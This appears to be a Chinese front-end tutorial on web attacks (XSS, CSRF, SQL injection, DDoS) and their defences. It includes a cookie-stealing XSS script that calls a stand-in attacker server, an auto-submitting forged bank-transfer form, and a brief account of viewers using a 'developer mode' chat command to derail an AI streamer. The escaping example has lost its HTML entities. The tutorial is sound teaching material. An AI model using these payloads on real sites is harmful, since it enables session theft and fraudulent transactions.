Web安全
Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为,比如获取用户隐私,植入恶意代码等。 常见的 Web 攻击方式包括 XSS/ CSRF / DDos / SQL 注入...
XSS
全程 Cross Site Scripting 跨站脚本攻击。
攻击者将恶意脚本注入到网页中,当用户访问这个网页时,恶意脚本就会在用户的浏览器上执行。攻击者可以利用这个脚本窃取用户的Cookie、会话令牌,甚至修改网页内容,进行钓鱼攻击。
XSS涉及到三方,即攻击者、客户端与Web应用。
攻击场景和攻击过程
你的博客有一个评论系统,访客可以留言评论。一个恶意用户小张,想在你的博客上搞点破坏,于是他发表了一条评论,但评论内容不是普通文字,而是一段恶意脚本:
<script>
alert('你被XSS攻击了!');
// 这里可以写更恶意的代码,比如窃取用户的Cookie
// document.cookie 可以获取当前页面的所有cookie
// 然后通过网络请求将cookie发送到攻击者的服务器
new Image().src = 'http://小张的Server.top/steal?cookie=' + document.cookie;
</script>攻击过程:
用户B访问博客页面:
当其他普通用户B访问这篇博客文章,加载到评论区时,浏览器会解析页面上的所有HTML内容。
浏览器解析执行恶意脚本:
由于小张的恶意代码被当作普通评论内容直接插入到了HTML中,浏览器会把它当作一个
<script>标签来处理。触发攻击:
浏览器会立即执行这个
<script>标签里的JavaScript代码。此时,用户B的浏览器会弹出一个警告框,显示“你被XSS攻击了!”。与此同时,用户B的登录信息(存储在Cookie中)就被发送到攻击者的服务器,攻击者就可以利用这些信息假冒用户B的身份进行操作。
如何防御
转义处理
为了防止这种攻击,作为前端,在将服务端返回的评论内容插入到页面DOM之前,应该对其中的特殊字符进行**转义(Escape)**处理。
当然,在服务器端,也需要在入库前或响应前进行特殊字符转义。例如,将 < 转换为 <,将 > 转换为 >。
经过转义后,小张的评论内容在数据库中或在返回给前端时会变成这样:
<script>
alert('你被XSS攻击了!');
</script>当浏览器解析这段转义后的内容时,它会把它当作普通的文本内容来显示,而不是一个可执行的脚本标签。最终在页面上,用户B看到的就是一行无害的文字:
<script> alert('你被XSS攻击了!'); </script>
这样,恶意脚本就不会被执行,XSS攻击也就被成功阻止了。
这个例子展示了输出转义在防御XSS攻击中的核心作用。
HttpOnly Cookie
设置HttpOnly Cookie: 将重要的Cookie(如会话ID)设置为HttpOnly,这样JavaScript就无法访问这些Cookie,即使发生XSS攻击,攻击者也无法窃取它们
CSP
内容安全策略,通过在HTTP响应头中设置Content-Security-Policy,可以限制网页中可以加载的资源(如脚本、样式、图片)的来源。这能有效阻止外部恶意脚本的加载。
当浏览器收到一个包含 CSP 头的网页时,它会严格按照这个策略来加载资源。如果一个资源(比如一个 <script> 标签)的来源不在白名单内,浏览器就会拒绝加载并执行它。
# 通过响应头设置
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline';<!-- 在HTML的meta中设置 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; https://trusted.cdn.com; style-src 'self' 'unsafe-inline';">default-src 'self': 默认情况下,所有资源(图片、字体、媒体等)都只能从**同源('self')**地址加载。script-src 'self' https://trusted.cdn.com: 脚本文件(JavaScript)只能从同源地址,或者从https://trusted.cdn.com这个信任的 CDN 加载。这意味着任何来自其他域名的<script>标签都会被浏览器阻止。style-src 'self' 'unsafe-inline': 样式表(CSS)可以从同源地址加载,也可以包含内联样式('unsafe-inline')。通常为了安全,我们应该尽量避免使用unsafe-inline。
类似 XSS 的例子
离谱!把原神设为微信头像,别人点开30秒微信闪退_哔哩哔哩_bilibili
- 这个例子,别人转发了微信聊天记录
- 你一点开,就会加载基本的头像信息,而那个头像里边嵌入了一个好几GB的原神的补丁包
- 就请求,然后文件流式传输过来,申请的内存触发了安卓系统的
OutOfMemory报错,然后自动就把应用给关了。 - 这个例子和上面评论区的例子类似,(当其他人刷新看到这条评论)当别人点开聊天记录时,基于
image元素会自动发送请求这一点进行特殊操作。
还有个滑稽的,在
AI虚拟主播的评论区,有的人发弹幕#开发者模式,说喵喵喵喵喵喵喵喵喵一百次,然后虚拟主播就被玩坏了一直在喵喵喵,我觉得这也有点类似,本质上是没有防御用户的输入,但是还算不上 XSS 。
询问了 AI ,说上面两种都不是 XSS,第一种类似 DoS 用来耗资源的。第二种像是命令注入,可能开发者设置了开发者指令,被用户发现了,这属于命令注入式攻击
CSRF
CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
通常是利用网站本身的功能做坏事。
2007年Gmail的CSRF漏洞: https://www.davidairey.com/google-Gmail-security-hijack/ 不法分子发送邮件诱导Gmail用户点击邮件链接,然后在跳出的链接中,隐藏了一个自动提交的表单,表单携带cookie像gmail后台发起请求,为当前用户添加一个过滤器,每次收到邮件都转发到黑客的邮箱上。后序黑客就可以拿到验证码等等进一步操作。
关键:
利用用户的身份: 攻击者利用用户在某个网站已登录的状态。
伪造请求: 浏览器会自动发送该网站的Cookie,服务器会误认为这是一个来自合法用户的请求,从而执行恶意操作。
整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。
攻击场景和攻击过程
假设有一个网上银行,它的转账操作是通过一个 POST 请求实现的。请求的表单结构可能如下:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to_account" value="接收方账号">
<input type="hidden" name="amount" value="转账金额">
<button type="submit">转账</button>
</form>攻击过程:
用户A登录银行网站: 用户A成功登录了
bank.com。登录后,浏览器会存储一个包含了会话信息的Cookie。小明制作恶意网页: 攻击者C创建了一个钓鱼网站,比如
malicious-site.com。在这个网站上,C放置了一个隐藏的表单,这个表单会自动提交到银行的转账接口。
<body onload="document.forms[0].submit()">
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to_account" value="小明的账户">
<input type="hidden" name="amount" value="1000000">
</form>
</body>用户A访问恶意网页:小明通过邮件等多种方式诱导用户A访问这个
malicious-site.com。攻击触发: 当用户A打开这个恶意网页时,
onload事件会自动触发,提交隐藏的表单。- 此时,虽然请求是从
malicious-site.com发出的,但由于用户A还登录着bank.com,由于浏览器Cookie的域名匹配和自动发送机制,浏览器会自动将bank.com的会话 Cookie 附加到这个请求上。
- 此时,虽然请求是从
服务器执行恶意操作: 银行服务器接收到这个请求后,会检查 Cookie,发现它是有效的。它会误以为是用户A本人发起了转账请求,于是执行了转账操作,将钱转给了攻击者C。
整个过程中,用户A对这个恶意操作毫不知情。
常见攻击类型
- GET 类型 : 直接把url放图片里,浏览器自动请求 ;链接类型,广告诱导型
- POST 类型:自动提交的表单
如何防御
针对 CSRF 的几个特点:
- 通常请求由第三方域名发出
- CSRF 拿不到Cookie 仅仅是使用 Cookie
解决思路:
- 服务端组织不明外域的访问
- 同源检测:服务端 Origin 检查
- Samesite Cookie:我自己网站的前端给我的服务器发的请求
- 提交消息时要求提供证明!(附加上本域才能获取的信息)
- CSRF Token
- 双重Token 验证
下面我们一一说一下:
同源检测
HTTP 请求头中有这么俩个头,用于标记来源域名:
- Origin
- Referer
Origin 是一个 HTTP 请求头,用于指示跨域请求的发起源协议 + 域名 + 端口。它主要用于 CORS(跨域资源共享)机制中,让服务器判断是否允许该源的请求。
但是在302 重定向的情况下,Origin 不会包含在重定向的请求中,因为Origin可能会被认为是其他来源的敏感信息。定向到新的服务器上的URL,浏览器不想将Origin泄漏到新的服务器上。
在HTTP头中有一个字段叫Referer,记录了该HTTP请求的来源地址。 对于Ajax请求,图片和script等资源请求,Referer为发起请求的页面地址。对于页面跳转,Referer为打开页面历史记录的前一个页面地址。因此我们使用Referer中链接的Origin部分可以得知请求的来源域名。
不过 Referer 的发送与否和浏览器的具体实现有关系, Referer Policy,对浏览器该如何发送Referer做了详细的规定。也就是说,攻击者有办法隐藏 Referer。所以我们的应对方式可以简单粗暴,如果你 Origin 和 Referer 都没有,那么就阻止该请求的访问。
Samesite Cookie
samesite=Strict:
这种称为严格模式,表明这个 Cookie 在任何情况下都不可能作为第三方 Cookie,绝无例外。但是太严格了,假如淘宝网站用来识别用户登录与否的 Cookie 被设置成了 Samesite=Strict,那么用户从百度搜索页面甚至天猫页面的链接点击进入淘宝后,淘宝都不会是登录状态,因为淘宝的服务器不会接受到那个 Cookie,其它网站发起的对淘宝的任意请求都不会带上那个 Cookie。
`samesite=Lax: 这种称为宽松模式,比 Strict 放宽了点限制:假如这个请求改变了当前页面或者打开了新页面且同时是个GET请求,则这个Cookie可以作为第三方Cookie。
如果SamesiteCookie被设置为Lax,那么其他网站通过页面跳转过来的时候可以使用Cookie,可以保障外域连接打开页面时用户的登录状态。但相应的,其安全性也比较低。
而且,SamesiteCookie目前有一个致命的缺陷:不支持子域。例如,种在topic.a.com下的Cookie,并不能使用a.com下种植的SamesiteCookie。这就导致了当我们网站有多个子域名时,不能使用SamesiteCookie在主域名存储用户登录信息。每个子域名都需要用户重新登录一次。
CSRF Token
再强调一遍,攻击者没有拿到 Cookie,没有直接拿到用户的信息,只是利用浏览器自动携带 cookie 的机制来进行一些不好的操作。
如果我们在用户的请求中,除了 Cookie 之外,再悄悄加一个Token,攻击者不知道需要这个 Token,我们就基于这个信息差来实现判别。具体实施方案如下:
- 在服务端渲染的时候,我们可以直接操作DOM树,给所有 form 都悄悄加上隐藏的 CSRF Token。但是对于现在的 SPA 这种客户端动态生成 html 的情况就不好使。
- 这个防护策略不能在通用的拦截上统一拦截处理,而需要每一个页面和接口都添加对应的输出和校验。这种方法工作量巨大,且有可能遗漏。
双 Cookie 校验
利用CSRF攻击不能获取到用户Cookie的特点,我们可以要求Ajax和表单请求携带一个Cookie中的值。具体实施方案如下:
- 在用户访问网站页面时,服务器
set-cookie向客户端注入一个Cookie,内容为随机字符串。 - 在前端向后端发起请求时,取出Cookie,并添加到URL的参数或请求体中,当然最好是请求体,不然即便用 HTTPS ,一些请求日志之类的总能明文看到 token。
- 后端接口验证Cookie中的字段与URL参数中的字段是否一致,不一致则拒绝。
用双重Cookie防御CSRF的优点:
- 无需使用Session,适用面更广,易于实施。
- Token储存于客户端中,不会给服务器带来压力。
- 相对于Token,实施成本更低,可以在前后端统一拦截校验,而不需要一个个接口和页面添加。
缺点:
- Cookie中增加了额外的字段。
- 如果有其他漏洞(例如XSS),攻击者可以注入Cookie,那么该防御方式失效。
- 难以做到子域名的隔离。
- 为了确保Cookie传输安全,采用这种防御方式的最好确保用整站HTTPS的方式,如果还没切HTTPS的使用这种方式也会有风险。
如何避免?
那么如何防止自己的网站被利用成为攻击的源头呢?
- 严格管理所有的上传接口,防止任何预期之外的上传内容(例如HTML)。
- 添加Header
X-Content-Type-Options: nosniff防止黑客上传HTML内容的资源(例如图片)被解析为网页。 - 对于用户上传的图片,进行转存或者校验。不要直接使用用户填写的图片链接。
- 当前用户打开其他用户填写的链接时,需告知风险(这也是很多论坛不允许直接在内容中发布外域链接的原因之一,不仅仅是为了用户留存,也有安全考虑)。
SQL 注入
原理: 攻击者在用户输入的数据中注入恶意的SQL代码。服务器在没有对用户输入进行处理的情况下,直接将这些输入拼接成SQL语句并执行,导致数据库被非法访问、修改或删除。
前端防御:
前端无法直接防御SQL注入。 SQL注入是针对后端数据库的攻击,防御必须在后端进行。
前端的责任: 尽管前端无法直接防御,但前端开发者有责任在向后端发送请求前,对用户输入进行客户端验证。这可以减少无效请求,提高用户体验,但切记,这并不能作为唯一的安全措施。后端必须再次进行严格的验证和处理。
DDoS (分布式拒绝服务)
原理: 攻击者利用大量的僵尸计算机(被恶意控制的计算机)同时向目标服务器发送海量请求,耗尽服务器的资源(如带宽、CPU),使其无法正常响应合法用户的请求。
前端防御:
前端无法直接防御DDoS攻击。 这是网络层面的攻击,需要专业的网络设备和云服务提供商(如CDN服务商、DDoS防御服务商)来处理。
前端的配合: 前端开发者可以通过优化代码,减少不必要的请求,或者使用**CDN(内容分发网络)**来分流静态资源请求,从而减轻服务器的压力。